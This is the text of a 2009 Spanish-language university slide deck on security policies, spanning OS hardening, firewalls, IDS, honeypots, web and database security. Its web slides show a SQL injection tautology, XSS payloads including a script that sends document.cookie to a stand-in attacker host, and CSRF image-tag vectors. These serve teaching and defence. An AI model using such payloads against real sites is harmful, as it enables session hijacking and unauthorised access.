Title: Polticas y Normas
1Políticas y Normas
- M.C. Juan Carlos Olivares Rojas
- Septiembre 2009
2Agenda
- Seguridad en Sistemas Operativos
- Seguridad en Redes y Comunicaciones
- Seguridad en Internet.
- Autenticación de usuarios
- Seguridad en Bases de Datos. Validación
- Antivirus y respaldos
3Políticas y Normas
- El gran problema de la seguridad Tenemos (mas
que suficientes) tecnologías de seguridad, pero
no sabemos como estamos (en el caso de que lo
estemos) de seguros. - En términos genéricos tenemos mejor calidad de
vida pero eso no nos garantiza tener seguridad.
4Políticas y Normas
- Como se había comentado lo más importantes es
saber lo que se quiere proteger (políticas y
normas) - Algunos problemas de seguridad en SO
- Arranque inseguro
- Quién lo arranca?
- Es realmente el código original?
5Seguridad en SO
- Ejecución insegura
- Usuarios con muchos privilegios
- Servicios inútiles y con demasiados privilegios
- Degradación de la seguridad
- Integración de nuevo software
- Dispositivos de almacenamiento masivo
- Sistema sin parchear
- Antivirus y Antimalware desactualizados
6Seguridad en SO
- Existen diversos enfoques de seguridad. Los más
comunes son el top-down y el bottom-up. - En el enfoque descendente se inicia con las
aplicaciones hasta llegar al sistema operativo y
hardware. En el bottom-up que es el más extendido
el proceso va al revés (primero que nada
seguridad física).
7Seguridad en S.O.
- En general un buen mecanismo de seguridad
consistirá en un sistema escalonado de permisos
(similar a las transacciones en dos fases de la
base de datos). - Además del control de acceso a los recursos, el
sistema operativo debe de llevar la contabilidad
y la auditoria de las actividades realizadas. - Cómo se logra la CIA en un SO?
8Seguridad en SO
- La seguridad de las aplicaciones dependen del SO
anfitrión.
9Seguridad en S.O.
- Para alcanzar mayor seguridad el SO tanto como
las aplicaciones se desarrollan a través de
diversas arquitecturas de software modulares. - Una de las arquitecturas más difundidas es la de
microkernel. Separando aplicaciones por capas se
puede garantizar seguridad por aislamiento pero
hace más vulnerable a los sistemas.
10Arquitectura de Windows NT
Envinroments Subsystem
Procesos del Sistema
Services
Applications
Windows
OS/2
Session Handler
POSIX
Windows DLLs
System Thread
NTDLL.DLL
System Dispatch System
Windows USER, GDI
(Kernel Mode Interfaceel)
Object Handler
File System Cache
I/O Manager
Plug and Play Manager
Energy Manager
Security Reference Monitor
Virtua Memory
Process and Threads
Local Process Call
Configuration Manager (Registry)
File System and Device Drivers
Grpahical Manager
Kernel
Interfaces de Hardware(buses, Dispositivos de E/S
, interrupcciones, intervalos de temporizadores,
DMA, control de memoria cache , etc.)
Hardware Abstraction Layer (HAL)
11Seguridad en SO
- Los sistemas operativos suelen utilizarse en modo
supervisor del microprocesador para garantizar
que las aplicaciones causen menos conflictos. - Los SO deben de proporcionar APIs a los programas
de aplicación para garantizar seguridad. Por
ejemplo GINA (Graphical Identification and
Autentication ) y algunas criptoAPIs.
12Seguridad en SO
- Para el usuario el Sistema es lo que ve y los SOs
no son la excepción. Generalmente las interfaces
de usuario en los SO contienen rutinas para
manipulación de archivos dado que para la mayoría
de SO (principalmente sistemas X) tienen la
premisa de que todo es un archivo.
13Registro
- BD centralizada que guarda información de
configuración del sistema. Es seguro?
14Matriz de Acceso
- Determina que pueden realizar los usuarios sobre
los recursos.
15Integridad de Aplicaciones
16Cajas de arena
17Listas de Control de Acceso
- ACL mecanismos que permiten variar los permisos
y usuarios sobre los recursos
18Clasificación de Seguridad
19Seguridad en Windows NT
- Manejo de Errores y subsistemas protegidos.
- NT tolera fallos y estos no afectan a otros
componentes. - Sistema de archivos recuperable.
- La E/S de disco se ve como una sola transacción.
Ante fallos vuelve atrás. - Soporte para cintas de respaldos.
20Seguridad en Windows NT
- Soporte para UPS
- Espejado de disco.
- Para que nos sirve hacer particiones en cuestión
de seguridad? - Qué diferencias existen de seguridad entre los
sistemas de archivos FAT y NTFS?
21Seguridad en Windows NT
- Manejo de control de acceso (No existe en FAT?)
- Sistema de Logging
- Existe desfragmentación para NTFS?
- Manejo de comprensión
- Manejo de cifrado?
22Seguridad en Windows NT
- Es sensible a mayúsculas y minúsculas para
sistemas X e indiferente en DOS y Windows. - Los permisos disponibles son
- Lectura
- Escritura
- Ejecución
- Borrado
- Cambio de permisos
- Tomar posesión
23Seguridad en Windows NT
- Manejo de Dominios (servicio de directorios) para
la compartición y uso de recursos. - Los dominios pueden estar en un solo servidor o
distribuidos por la red. La redundancia de datos
es seguridad? - Los datos sobre los usuarios se guardan en una
base de datos llamada SAM (disponible en
cualquier servidor).
24Seguridad en Windows NT
- La seguridad se hace a través de políticas y
directivas de seguridad. Por ejemplo el sistema
de autenticación valida la longitud, duración de
la contraseña y el número de intentos. - Dónde se ve la auditoria del SO? Visor de
Eventos (Sucesos)y tiene tres vriantes sistema,
seguridad y aplicación.
25Seguridad en Windows NT
- A partir de Windows Vista se posee Trusted
Platform Module (TPM) v1.2 Hardware integrado en
el equipo. El cual almacena credenciales en un
chip en la tarjeta madre. - Todo el código de las DLLs y ejecutables se
firman digitalmente para garantizar la integridad
del código.
26Seguridad en Windows NT
- La mayoría de los sistemas operativos manejan una
política predeterminada de no permitir el acceso
a nada. Un control en este sentido es la variable
de candado para realizar operaciones de
modificación. - Las aplicaciones pueden ejecutarse en diversos
contextos como Internet Explorer 7 que puede
ejecutarse en modo protegido.
27Seguridad en Windows NT
- Los SOs actuales poseen de firewalls para
proteger los activos de información de una
computadora. - El firewall actual de Windows es tanto de entrada
como de salida. - Los SOs actuales cuanten con antimalware (no es
una solución completa a un antivirus, es más
amplia) que eliminan periódicamente ciertas
anomalías.
28Seguridad en Windows NT
- Los SOs actuales con un sistema de administración
de reinicios capaz de dejar el sistema tal cual
se quedó después de una falla.
29Seguridad en el Desarrollo de Software
- Hasta hace poco muy pocas metodologías de
desarrollo de software consideraban a la
seguridad como un requerimiento básico de
calidad. - La tendencia ha cambiado bastante a tal punto que
existen metodologías como SDL (Microsoft) que
manejan roles y procesos de seguridad.
30Seguridad en Desarrollo de Sw
- La parte más importante de la seguridad es
considerarlo como un requerimiento obligatorio
(implícito) a como actualmente son las
validaciones de entrada. - Parte importante de la seguridad se puede ver
desde diferentes enfoques en cada parte del
proceso de desarrollo (análisis, diseño,
implementación, pruebas, etc.) pero siempre es
importante las arquitecturas de del software con
respecto a la seguridad.
31Código y poder
- El código fuente es poder
- Tanto para defenderse como para atacar
- Compartir el código es compartir el poder.
- Con los atacantes y defensores
- Publicar el código fuente sin hacer nada más
degrada la seguridad - Por el contrario, publicar el código fuente
permite a los defensores y a otros elevar la
seguridad al nivel que les convenga.
32Software Seguro
- El software Fiable es aquel que hace lo que se
supone que debe hacer. - El software Seguro es aquel que hace lo que se
supone que debe hacer, y nada mas. - Son los sorprendentes algo mas los que producen
inseguridad. - Para estar seguro, debes de ejecutar solo
software perfecto -) - O, hacer algo para mitigar ese algo mas
33El problema M M
The MM Problem
Interior Suave El problema adicional que hay que
resolver
Cubierta Dura Resuelto por seguridad perimetral
34Arquitectura Fortaleza
- Protección perimetral
- Estático, no diferenciado
- Difícil de modificar y adaptar
- Descuida el insider problem
35Arquitectura Aeropuerto
- Mayor flexibilidad
- Múltiples zonas de seguridad basadas en roles
- Protecciones multinivel interzonas
- Colección jerárquica de fortalezas interactuantes
36Arquitectura Aeropuerto
37Arquitectura P2P
- Conceptos dinámicos de confianza, autenticación y
autorización - Requerimientos comerciales-gtRequerimientos
tecnológicos - Inferir en tiempo real qué quiero hacer y con
quién quiero hacerlo - Puede requerir servicios provistos por TTP
(Trusted Third Parties).
38Arquitectura SD3
- Propuesta por Microsoft en SDL
39Consejos de Seguridad
- Tenga en cuenta la seguridad
- Al comienzo del proceso
- Durante el desarrollo
- Durante la implementación
- En los hitos de revisión del software
- No deje de buscar errores de seguridad hasta el
final del proceso de desarrollo
40Los retos de la seguridad en las empresas
Recursos limitados para implementar soluciones de
seguridad
Servidores con roles múltiples y variados
Amenazas internas o accidentales
Sistemas obsoletos
Falta de expertos en seguridad
Consecuencias legales
El acceso físico rompe muchas medidas de seguridad
41Defensa en Profundidad
- Usando una estrategia por capas
- Se incrementa el riesgo de ser detectado para el
atacante - Se reduce su probabilidad de tener éxito
Políticas, Procesos y Concienciación
Seguridad Física
Datos
ACLs, cifrado, EFS
Aplicación
Fortificación, antivirus
Fortificación del SO, Autenticación, Parches
Host
Red Interna
Segmentos de Red, IPSec
Firewalls, Acceso a Red, Redes de Cuarentena
Perímetro
Guardias, Cerraduras, etc.
Documentación, formación
42Consejos de Seguridad
- Programar bien!!!
- No utilizar funciones inseguras que puedan
provocar fallos de desbordamiento. - En C/C se debe tener mucho cuidado con los
punteros - Se recomienda no utilizar funciones como
strcpy() strcat() sprintf() scanf()sscanf()
fscanf() vfscanf(), entre otras.
43Un error frecuente
- Nunca debe asumirse que establecer seguridad
perimetral es todo lo que debe hacerse - Los Firewalls pueden ser comprometidos
- Algunos puertos estarán abiertos para la
comunicación con el exterior y los ataques se
harán, sobre todo, contra ellos - Los ataques pueden ser lanzados internamente, y
las estadísticas dicen que eso será lo más
probable
44Fortificación
- El hardening (fortificación o endurecimiento)
es una técnica de control de seguridad que
consiste en tomar medidas elevadas de seguridad
en los servidores o equipos de usuarios. - No existe un conjunto de pasos únicos, esto se
maneja de forma variada, dependiendo del SO y de
los servicios disponibles aunque generalmente
existen directrices y líneas base que se pueden
seguir.
45Fortificación
- Revisa que servicios se deben de ejecutar.
- Revisa el grado de seguridad continuamente.
- Manejar distintos tipos de restricciones.
- Utiliza certificaciones como common criteria.
46Fortificando Apache
- Deshabilitar servicios no indispensables
- Verificar los bugtracks y actualizar
- Proteger los directorios /var/www/
- Crear un directorio personalizado /var/www/error
- Habilitar los .htaccess y proteger los archivos
de users y password del http
47mod_dosevasive
- Fácil de configurar
- Puede ayudar a evadir ataques de DoS bloqueando
direcciones ip o URLs temporalmente.
LoadModule dosevasive20_module modules/mod_dosevas
ive20.so ltIfModule mod_dosevasive20.cgt
DOSHashTableSize 3097 DOSPageCount 2
DOSPageInterval 1 DOSSiteCount 50
DOSSiteInterval 1 DOSBlockingPeriod 10
DOSEmailNotify admin_at_domain.com DOSLogDir
"/tmp/mod_dosevasive (make writable by apache
only) lt/IfModulegt
48Características mod_security
- Los filtros se aplican antes de ejecutar los
scripts - Soporta SSL
- Entienden el protocolo http
- Hace logging completo incluyendo post data
- Las reglas son personalizadas usando expresiones
regulares y pueden ser aplicadas a niveles de
virtual hosts
49Oscurantismo
- Es un mecanismo de seguridad que consiste en
ocultar información y servicios. - Un servidor Web se ejecuta en el puerto 80 pero
puede cambiarse de puerto. Esto garantiza cierta
seguridad hasta que no se descubra el servicio. - El código abierto es un ejemplo claro que el
oscurantismo no funciona.
50Oscurantism0
- NO SE DEBEN DE UTILIZAR NUNCA CONFIGURACIONES
PREDETERMINADAS. - Se deben cambiar las configuraciones
predeterminadas de forma robusta antes de entrar
a la red. - El conocimiento de configuraciones
predeterminadas es un vector ataque muy utilizado.
51Seguridad en Redes y Comunicaciones
- Uno de los activos de información más importantes
dentro de las organizaciones es la
infraestructura de telecomunicaciones tanto de
datos como de voz. - A través de las redes de voz y datos fluye toda
la información de la empresa, si esta no está
disponible, es confiable e integra se tendrá una
serie de problemas.
52Seguridad en Red
- Lo primero que se debe de hacer es la evaluación
del desempeño y seguridad de la red. - En redes de computadoras interesa que tengan una
alta disponibilidad con un buen uso del ancho de
banda. Por este motivo se necesita monitorear la
red con software especializado como nagios,
cactis, mrtg, entre otros.
53Seguridad en Red
- Las herramientas de monitoreo tienen la
característica de notificar lo que está
ocurriendo en tiempo real. - Se suele confundir comúnmente con los sniffers y
analizadores de protocolos dado que realizan en
esencia la misma función básica de capturar
paquetes en la red. - El desempeño de la red está dado por los
protocolos de comunicación empleados.
54Seguridad en Red
- La seguridad de la red parte desde la capa 0 o
Cableado estructurado, pasando por la capa física
y enlace (NICs), el SO (capa de red, transporte,
sesión, presentación) y de las aplicaciones de
red. - Se puede utilizar la segmentación de redes y el
manejo de hardware especializado para un mejor
desempeño y seguridad de la red. - Las aplicaciones de red son quizás la parte de
seguridad más importante.
55Seguridad en Redes
- En cuestión de las aplicaciones se necesita hacer
un análisis de que se comparte, cómo se comparte
y hacia quien se comparte. Con estas
características se puede mejorar la seguridad de
la red. - Para asegurarse que los controles implantados
sean los correctos es necesario evaluarlos
haciendo hacking ético.
56Seguridad en Redes
- El hacking ético consiste en la enumeración de
propiedades de un sistema como puertos,
aplicaciones abiertas, tipo de sistema operativo,
etc. - Con toda esta información el ataque debe preparar
un plan de ataque. Para ello puede auxiliarse de
herramientas de código malicioso como virus,
exploits, rootkits, sniffers, password crackers,
etc. La herramienta dependerá de lo que se
pretende atacar (vector de ataque).
57Seguridad en Redes
- Para este curso se propone un esquema de
seguridad en tres fases - Prevención de Intrusos (IPS).
- Detección de Intrusos (IDS)
- Engaño de usuarios (Honeywall)
- Retroalimentación (fortificacion de activos)
58Seguridad en Redes
- Tarea próximo sábado mostrar evaluación de la
seguridad de redes (análisis de vulnerabilidades
vía software) que servirá de indicadores meta. Se
deberá indicar con que controles de seguridad se
cuentan. - Examen se realizarán equipos de dos personas
para escoger uno de los temas, se deberá exponer
la instalación de la herramienta, como se usa y
demostrar de forma práctica y presencial que
mejora la seguridad.
59Seguridad en Redes
- El examen será el día 7 de noviembre. Se deberá
tener un escenario de cómo estaba antes la
seguridad sin el control implementado. - Se evaluará que el control esté correctamente
implementado (80), y 20 la presentación
(documento de instalación y configuración tratar
de no dejar configuración por default-). El
examen vale el 70 del parcial.
60IPS
- Los sistemas de prevención de intrusos más
famosos son los firewalls. - Un firewall es un dispositivo que filtra el
tráfico de la redes. Puede ser un dispositivo
físico o un software sobre un sistema operativo. - Existen dos tipos de firewall de host y de red.
Cuando es de host se instala un software en el
sistema operativo (o ya viene instalado).
61IPS
- Cuando se trata de un firewall de red puede ser
un hardware especializado o una computadora
adaptada con dos o más interfaces de red. - El firewall se encarga de determinar en base a
políticas de acceso que paquetes deben de entrar
y de salir de la red. - En general se filtran paquetes por IP, Puerto y
contenido (especializados).
62IPS
- Los firewall funcionan como barda perimetral
permitiendo el acceso o denegándolo a los datos
de las aplicaciones. - El análisis de contenido de un firewall tiene la
característica que es altamente consumidor de
tiempo y no puede ser del todo efectivo. Por
ejemplo en HTTP se sugiere utilizar un
proxy-cache.
63IPS
- Lo más importante es la creación de un esquema o
arquitectura que permita manejar seguridad de
forma eficiente. Existen diversas arquitecturas
para configurar firewall. - Entre más puntos de control se tengan mejor es la
seguridad pero el desempeño de la red puede no
ser el óptimo.
64Arquitecturas de IPS
- Centralizada
- Zona desmilitarizada
65Arquitecturas de IPS
- DMZ con dos firewalls
- Las arquitecturas de IPS varían dependiendo de la
topología de la red y de la prioridad de los
activos de información.
66IPS
- Existen un sin fin de herramientas de firewalls.
- Las más comunes so a través del sistema operativo
como IPTables en el caso de los sistemas Linux y
las soluciones de hardware.
67IP Table
- !/bin/sh
- SCRIPT de IPTABLES - ejemplo del manual de
iptables - echo -n Aplicando Reglas de Firewall
- FLUSH de reglas
- iptables -F
- iptables -X
- iptables -Z
- iptables -t nat -F
- Establecemos politica por defecto
- iptables -P INPUT ACCEPT
- iptables -P OUTPUT ACCEPT
- iptables -P FORWARD ACCEPT
- iptables -t nat -P PREROUTING ACCEPT
- iptables -t nat -P POSTROUTING ACCEPT
68IP Table
- Empezamos a filtrar
- El localhost se deja (por ejemplo conexiones
locales a mysql) - /sbin/iptables -A INPUT -i lo -j ACCEPT
- A nuestra IP le dejamos todo
- iptables -A INPUT -s 195.65.34.234 -j ACCEPT
- A un diseñador le dejamos usar el FTP
- iptables -A INPUT -s 80.37.45.194 -p tcp -dport
2021 -j ACCEPT - El puerto 80 de www debe estar abierto, es un
servidor web. - iptables -A INPUT -p tcp --dport 80 -j ACCEPT
- iptables -A INPUT -p tcp --dport 11024
- iptables -A INPUT -p udp --dport 11024
69Configuración IP Table
- Cerramos otros puertos que estan abiertos
- iptables -A INPUT -p tcp --dport 3306 -j DROP
- iptables -A INPUT -p tcp --dport 10000 -j DROP
- iptables -A INPUT -p udp --dport 10000 -j DROP
- echo " OK . Verifique que lo que se aplica con
iptables -L -n" - Fin del script.
70IDS
- Los IDS son sistemas que monitorea diversas
fuentes y formas los SI. - Compara el tráfico con patrones de ataques.
- Identifica problemas relacionados con el abuso de
privilegios - Realiza análisis estadístico en busca de patrones
de actividad anormal
71IDS
- Por qué utilizar un IDS si ya se cuenta con un
IPS? - Esta es la pregunta que casi todo administrador
de red y encargados de seguridad se hacen. - El firewall como se había comentado es una
especie de barda, los IDS viene siendo el sistema
de monitoreo de circuito cerrado.
72IDS
- En muchas ocasiones el principal enemigo ya está
dentro. - Muchas herramientas de seguridad basadas en
hardware generalmente ya incluyen características
de IDS pero siguen llamándose firewalls. - Además el IDS puede detectar ataques por
entunelamiento,de vulnerabilidades de
aplicaciones y de la parte segura de la red.
73IDS
- Los IDS pueden ser a nivel de Host (HIDS) siendo
quizás los más populares y a nivel de red (NIDS). - Los NIDS monitorean el tráfico de la red
mostrando alertas sobre ciertas anomalías. - Los HIDS sólo se preocupan por los eventos
locales a una máquina monitoreando el tráfico de
red o elementos de la misma máquina
74IDS
- Los HIDS Monitorean
- Sesiones de usuarios
- Actividades de los usuarios privilegiados
- Cambios en el sistema de archivos
- A pesar de las múltiples ventajas, los IDS
presentan algunos inconvenientes como - Generación de falsos positivos
- No pueden analizar tráfico cifrado
75IDS
- Son tan efectivos como la última actualización de
patrones. - Alta latencia entre el ataque y la notificación
- Dificultad para realizar análisis en redes
congestionadas - No indican si un ataque ha sido exitoso o no
76IDS
- No son infalibles
- No compensan una mala administración
- No investigan ataques sin intervención humana
- No intuyen ni siguen las políticas de seguridad
organizacional
77IDS
- Los IDS es un control de seguridad que está
siendo implementado actualmente con mucha
frecuencias en las organizaciones. - Como toda herramienta tecnológica depende en gran
medida de la persona que se encargue de la toma
de decisiones. - Los IDS más populares son snort y tripwire.
78IDS
- Los IDS definen reglas de advertencia muy similar
a las reglas de prevención de un IPS. Aquí la
semántica cambia dado que si se cumplen dichas
reglas se trata de un ataque. - Ya existen base de datos con firmas que contienen
la caracterización de ataques comunes a servicios
generales.
79Honeywall
- La detección de intrusos puede ser mejorada a
través de máquinas denominadas señuelo o bastión
que permiten proteger los demás activos de
información entreteniendo al atacante. - Cuando se trata de un host individual se le llama
honeypot y cuando se habla de un conjunto de
máquinas recibe el nombre de honeynet.
80Honeywall
- Tener máquinas de carnada tiene un costo alto que
pagar. Formalmente los honeywall son equipos
simulados que permiten garantizar una protección
adicional. - Últimamente se han vuelto populares por el uso
masivo de virtualización en todos los entornos. - El software existente cada vez es más sencillo de
manejar.
81Honeywall
- Pocas empresas garantizan este nivel de
seguridad. Generalmente se enfocan a IPS después
a IDS y hasta al último estas soluciones. - El equipo o red atacada debe de ser monitorizada
constantemente para tomar acciones de defensa. - Algunas implementaciones son honeyd, honeycomb,
sebek entre otras.
82Seguridad en Internet
- El acceso a redes externas y públicas como
Internet hace que la comunicación sea aun más
insegura. - Se deben tomar las mismas precauciones que en la
red local sólo se debe de considerar que
servicios se proveen y como es que deben de ser
provistos.
83Inyección de código SQL
- Es un ejemplo claro tanto de seguridad en
Internet (Web), seguridad en el desarrollo de
aplicaciones (lenguajes dinámicos en el lado del
servidor como PHP, JSP, ASP) y bases de datos
(como mysql y SQL Server). - Estos tipos de ataques se deben a algunas de las
bondades de SQL ejecución de varios comandos en
una sola instrucción, embeber comentarios,
realizar consultas de metadatos y shellscripts.
84Inyección de código SQL
- Estos ataques se derivan de validaciones
incorrectas de datos de un formulario que sirven
de punto de entrada para los scripts dinámicos de
consultas de datos. - Por ejemplo la instrucción SELECT FROM login
WHERE usuariofulantio OR 11 -- AND
password - Es correcta. Pudiendo entrar a un sistema o bien
mostrando datos.
85Inyección de SQL
- Cómo se pueden securizar las aplicaciones Web
que manejan consultas a bases de datos? - Validar datos del usuario entre menos escriba
mejor. - No utilizar sentencias SQL construidas
dinámicamente (manejar consultas preparadas
-Preparament Statement-)
86Inyección de SQL
- No utilizar cuentas de usuarios privilegiados.
- No proporcionar mayor información que la
necesaria. - Al momento de validar campos eliminar caracteres
como comillas sencillas.
87Seguridad en WebApps
Red
Router Firewall Switch
Servidor
Parches ServiciosProtocolos
Cuentas Archivos y Directorios Compartidos
Puertos Registro Auditoría y Logging
88XSS
- XSS (Cross Site Scripting) es una vulnerabilidad
que permite al hacker ejecutar código script en
un cliente web. - Dos entradas principales
- Contempladas (foros, emails, librerías)
- Ocultas (querystring, campos HTML)
- Impactos
- Modificación del contenido
- Envío de información
- Robo de sesión
89XSS
- Tipos de XSS
- Nivel 0 Local ó basada en DOM Un script local
accede a parámetros request de la URL y los
utiliza para construir código script. - Nivel 1 No Persistente ó Reflejada
- Se utilizan los datos de entrada de formularios
para construir scripts, permitiendo la inyección
de código.
90XSS
- Nivel 2 Persistente ó Segundo Orden
- Es la más poderosa. Los datos se almacenan en una
bd y posteriormente se muestran a los usuarios,
inyectando el código continuamente. - Tampering cambio de valores en parámetros
ocultos para realizar un ataque al sistema.
91XSS
- Ejemplo de XSS Nivel 0
- Link Original
- www.example.com/login.aspx?userangel
- Link Malicioso
- www.example.com/login.aspx?userltscriptgtalert(sor
presa')lt/scriptgt
92XSS
- Aparentemente esto no es perjudicial (no pasa de
ser una broma), que pasaría si - ltscriptgt
- document.location 'http//maligno.ejemplo.org/ro
ba_cookies.php?cookies' document.cookie - lt/scriptgt
- Otra variante de ataques es el CSRF
93CSRF
- CSRF (Cross Site Reference Forgery) consiste en
hacer que una aplicación ejecute una acción
creyendo que la hizo un usuario. La peligrosidad
de este tipo de ataque es bastante alta dado que
permite el control de una sesión de forma remota. - Vectores de ataque comunes
- ltimg srchttp//www.ilike.com/backend?addSong9988
22gt - ltimg srchttp//foro.com/borrar.php?foro1gt
94CSRF
- Soluciones
- clave aleatoria, que solo es válida una vez.
- Se debe enviar en cada petición hecha.
- Se debe invalidar despues de usarse.
- Ejemplo http//hi5.com/friend/mail/deleteMail.do?
msgId1senderId2offset0timestampNONCE - Mitos
- Checar el referrer te protege de CSRF.
- Recibir info por POST te protege.
95Seguridad en WebApps
- Reglas básicas
- No confies en lo que lees.
- No confies en lo que vas a escribir.
- No confies en lo que quieres modificar.
96Autenticación de usuarios
- Los usuarios deben de validarse por diversos
medios. - La autenticación de los usuarios debe de
manejarse preferentemente de forma independiente
de las aplicaciones y activos de información. - Más que autentificar usuarios se debe de proteger
los activos de información.
97Seguridad en Bases de Datos. Validación
- Los datos almacenados deben de poderse asegurar
de forma robusta ya que su contenido es lo que
generalmente da valor a las organizaciones. - Una parte importante del proceso de aseguramiento
de base de datos es el proceso de validación, un
gran porcentaje de errores puede reducirse
significativamente si se validan las entradas.
98Seguridad en BD
Almacenamiento
Datos de Entrada
Monitoreo
Control de Acceso
Datos de Salida
99Seguridad en BD
Robo
Modificación de Datos
500.00
50,000
Desviación de Datos
100Seguridad en BD
- Es importante definir permisos (ACL) a los
recursos. - Cifrado de datos (problema del almacenamiento de
contraseñas). - Existen ya algunas preguntas claves que se pueden
utilizar para indicar el grado de seguridad que
tiene algún activo de información. A continuación
se muestran algunas de ellas para BD.
101Seguridad en BD
- Cuál es la plataforma sobre la que esta
construida la base de datos? - La base de datos brinda herramientas para la
seguridad de los datos? - El equipo (Humano) de trabajo posee los
conocimientos suficientes para encontrar
mecanismos alternos de seguridad?
102Seguridad en BD
- La base de datos trabaja en un entorno
multiusuario? - Qué personas del equipo deberían tener acceso a
la base de datos? - Todas las personas del equipo de trabajo
deberían tener acceso a la totalidad de los datos
de la base?
103Seguridad en BD
- La base de datos funciona en un entorno
distribuido? - La ubicación de los archivos de base de datos es
la adecuada? - Existen políticas adecuadas para la asignación
de usuarios? - Existen políticas adecuadas para validar la
complejidad de las contraseñas?
104Seguridad en BD
- El personal técnico esta al tanto de las nuevas
modalidades ilegales de extracción de
conocimiento? - Se cuenta con un Firewall dentro de la red?
- Se registra de manera permanente y sistemática
el acceso a los datos incluyendo la persona,
fecha y motivo de acceso?
105Seguridad de los Datos
- La información se captura de la manera adecuada?
- La información se captura en los tiempos
estipulados y/o adecuados? - El personal que captura los datos, es idóneo
para hacerlo? - Se realiza una precrítica de los datos
capturados?
106Seguridad en los Datos
- Qué información se debe publicar?
- Quiénes deben publicar la información?
- Se especifica si el dato publicado es parcial o
definitivo? - En caso de existir un error en la captura del
dato, Se repara inmediatamente?
107Seguridad en los Datos
- Se tiene especial cuidado con las normas de
ortografía para la captura del dato? - Existe documentación escrita sobre la ubicación
de cada una de las bases de datos utilizadas? - Están adecuadamente configurados los perfiles de
acceso a cada base de datos?
108Seguridad en los Datos
- Se realizan backups de la base de datos de
manera permanente y sistemática? - Existen protocolos para la realización de
backups? - Es claro para el personal técnico que NINGUNA
base de datos debe ser eliminada de un recurso
computacional antes de realizar un backup sobre
la misma?
109Seguridad en BD
- En general los esquemas de modelo de BD no
incluyen el aspecto de seguridad.
SSN
Function
Date
Title
Name
Is Assigned to
Subject
Employee
Project
(0,N)
(0,M)
Dep
Client
Salary
Title
SSN
110Fortificación de BD
- Principio de menor privilegio (creación de
vistas). - Actualización constante de parches
- Eliminar o deshabilitar cuentas predeterminadas.
- Correr procesos del manejador de BD con cuentas
no privilegiadas.
111Fortificación de BD
- Deshabilitar componentes no necesarios
- Utilizar procedimientos almacenados así como
disparadores.
112Modelo NTK(need to know)
- Se subdividen los datos en compartimientos
- Cada sujeto S tiene un un conjunto de
compartimientos que necesita conocer NTK(S) - Cada objeto O consta de un conjunto de
compartimientos comp(O) - Un sujeto S tiene acceso de lectura a O si
comp(O) Í NTK(S) - S puede escribir O si NTK(S) Í comp(O)
113Modelo Biba
- Busca mantener la integridad de los datos.
Sujetos y objetos se clasifican por niveles de
integridad. Los datos son modificados solo por
quienes tienen mayor integridad que los datos
mismos. - S puede modificar O, si I(S) gt I(O)
- Si S puede leer O, S puede escribir P solo si
I(O) gt I(P).
114Antivirus y respaldos
- Se recomienda realizar respaldos periódicos de
preferencia a nivel de bits de cada uno de los
activos de información. - Los respaldos deben de hacerse completos e
incrementales. - Los programas antivirus deben actualizarse
frecuentemente, deben de validar cualquier tipo
de código malicioso.
115Referencias
- Date, C. (2001) Introducción a los Sistemas de
Bases de Datos, Séptima edición, Capítulo 16
Seguridad, Pearson Educación, pp. 504-536. - McPherson, F. (2005), Pocket PC a su Alcance,
3ra. Edición, McGraw-Hill, México, 2005, ISBN
970-10-4731-1.
116Referencias
- Elmasri, R. y Navathe S. (2000) Sistemas de Bases
de Datos, 2da. Edición. Capítulo 20 Seguridad,
Addison-Wesley 200, México, pp. 599-613, ISBN
968-444-399-4. - Tanenbaum, A. y Van Steen, M. (2007). Distributed
Systems. Principles and Paradigms, Segunda
edición, Capítulo 9 Seguridad, Pearson Education,
Estados Unidos, pp. 377-442, ISBN 0-13-239227-5.
117Referencias
- Guerrero, R. (2008). Proyecto de Comunicación
Telefónica VoIP en Gobierno del Estado de
Michoacán, Tesina de Titulación. - Watters, P (2005) Solaris 10 The Complete
Reference, McGraw-Hill Osborne, Estados Unidos,
ISBN 0-07-222998-5.
118Referencias
- Coulouris, G., Dollimore, J. y Kindberg, T.
(2001). Sistemas Distribuidos, Capítulo 7
Seguridad, pp. 235-289, ISBN 84-7829-049-4. - Nyhus, R. (2008). Redes y Redes Inalámbricas. PC
Cuadernos, España. - Facundo, H. (2007). Revista USERS LinuxSeguridad,
número 24 pp. 24-37.
119Referencias
- Froufe, A. y Jorge, P. (2004) J2ME Java 2 Micro
Edition, Alfaomega Ra-Ma, México, ISBN
970-15-1022-4. - Millán, R. (2006). Domine las Redes P2P,
Alfaomega, España, ISBN 970-15-1206-5. - Velte, T. (2008). Manual de Cisco, Cuarta
Edición, McGraw-Hill, México, ISBN
978-970-10-5927-2
120Referencias
- Stallings, W. (2004) Comunicaciones y Redes de
Computadoras, Séptima Edición, Pearson Prentice
Hall, España, ISBN 84-205-4110-9. - Nichols, R. y Lekkas, P. (2003) Seguridad para
Comunicaciones Inalámbricas, McGraw-Hill, España,
ISBN 84-481-3782-5. - Shah, S. (2001) Manual de Administración de
Linux, Osborne McGraw-Hill, España, ISBN
84-481-2892-3
121Referencias
- Gómez, A. (2007). Enciclopedia de la Seguridad
Informática, Alfaomega, México, ISBN
978-970-15-1266-1. - McNab, C. (2004). Seguridad de Redes. Anaya
Multimedia OReilly, España, ISBN 84-415-1751-1 - Caballero, P. (2001), Introducción a la
criptografía Alfaomega Rama
122References
- Senft, S. And Gallegos, F. (2008) Information
Technology Control and Audit, Third Edition, CRC
Press, United States